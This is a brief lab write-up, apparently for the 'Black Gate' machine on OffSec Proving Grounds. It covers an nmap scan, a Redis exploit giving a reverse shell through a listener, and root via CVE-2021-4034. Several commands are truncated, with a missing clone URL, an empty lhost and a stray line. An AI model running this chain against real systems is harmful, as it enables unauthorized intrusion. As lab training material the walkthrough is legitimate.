Nessun commento su PROVING GROUNDS: Black Gate

Service Discovery

nmap -sS -sV -sC $IP

Since an old version of Redis runs on port 6379, is it possible to use the following exploit to get a reverse shell on the target machine

Exploit Redis

The first step is to setup a listener handler. It’s possible to use netcat, but in this case, I will use Penelope

penelope 22

Then it is possible to proceed with the attack

  • git clone
  • python –rhost $IP –lhost
  • r

At this point we should get a reverse shell on the target machine

Privilege Escalation

The tool linpeas highlighted that the machine is vulnerable to CVE-2021-4034

Using the following exploit it is possible to escalate the current privilege and became root on the target machine